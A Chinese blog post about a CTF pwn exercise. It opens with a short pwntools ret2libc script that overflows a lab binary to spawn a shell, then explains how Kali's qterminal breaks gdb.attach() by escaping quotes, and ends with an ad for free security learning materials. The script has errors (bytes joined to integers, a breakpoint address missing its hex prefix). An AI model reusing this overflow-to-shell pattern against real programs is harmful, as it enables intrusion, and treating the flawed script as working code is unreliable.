解决运行在kali环境下的pwntools无法给gdb.attach()时候传递gdbscript的问题

最近在做pwn题,写了如下脚本:

 ##!/usr/bin/env python
from pwn import*
 
r=process('./ret2libc2')
 
sys_adr=0x08048490
gets_adr=0x08048460
buf2_adr=0x0804A080
gdb.attach(r,'''
b * 080486BA 
''')#这里下个断点
 
payload=b'A'*112+gets_adr+sys_adr+buf2_adr+buf2_adr
 
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive() 

本来是很简单的一个题,但我今天调试的时候发现了一个问题

提示在倒入gdbscript文件的时候提示,No such file or directory,但是我去目录下看了看,确实是有这个文件的。

显然这是一个bug我又在ubuntu里面跑了同一个脚本仔细查了一下。发现没有这个问题。 为了解决这个bug,我去翻pwntools的源码,因为gdb相关的命令是在pwnlib里面的,我就用了如下命令查看:

>>>import pwnlib
>>>pwnlib.__file__
'/home/kali/lib/python3.7/site-packages/pwnlib/__init__.py'
>>> 

在pwnlib的目录下翻了翻,因为和gdb有关就 之后浏览/home/kali/.local/lib/python3.7/site-packages/pwnlib/gdb.py看到了一些东西,

可以看到,gdb.attach()的原理主要是通过在新终端中启动命令。命令的组成中 -x的参数对应的是gdbscript文件也就是"b * 080486BA"这一个下断点的命令。 之后我又去翻了翻misc的库,它在pwnlib.util里面

显然pwntools-terminal是没有的,我没装,那么打开的就是后面一些东西。检查了一下发现DISPLAY在os的环境变量里面,优先级比较高,然后我就去查了一下x-terminal-emulator 发现以下命令会产生相同的问题:

/usr/bin/x-terminal-emulator -e '/usr/bin/gdb -q"./ret2libc2"-x "/tmp/gdbscript"' 

之后我在Ubuntu里面执行相同的命令,虽然也报错,但不太一样。

区别就在于一个有双引号,一个没有。 然后我在两个系统里面分别 cat /usr/bin/x-terminal-emulator得到了不同的结果

在kali里面是二进制文件,但在ubuntu里面是脚本文件,而且最后启动的还是gnome-terminal,于是我的思路就来了,原来x-terminal-emulator只是一个引用而已,并不是一个实际的伪终端程序。 网上查了查,发现x-terminal-emulator可以被配置:

sudo update-alternatives --config x-terminal-emulator 

可以看到,在kali里面默认的引用是qterminal,其他的还有xterm等,于是我使用qterminal使用该命令

qterminal -e '/usr/bin/gdb -q"./ret2libc2"-x "/tmp/gdbscript"' 

可以看到这个命令被转义了,转义成了以下命令:

qterminal -e /usr/bin/gdb -q\"./ret2libc2\"-x \"/tmp/gdbscript\" 

这就导致gdb在接收这个文件路径的时候/tmp/gdbscript结果接收了"/tmp/gdbscript", 导致路径出错,gdb的路径不能有双引号。 之后我一连试了koi8rxterm,lxterm,uxterm ,xterm发现都没问题只有qterminal有问题,于是就交了一个issue github.com/lxqt/qtermi… 所以解决方法就是换x-terminal-emulator的引用程序,不过qterminal很漂亮,别的虽然不出错,但都很丑。 忙了半天,这个bug就算解决了吧,以后还是用ubuntu比较好。## 最后
从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。

干货主要有:

①1000+CTF历届题库(主流和经典的应该都有了)

②CTF技术文档(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2023密码学/隐身术/PWN技术手册大全

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

扫码领取

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值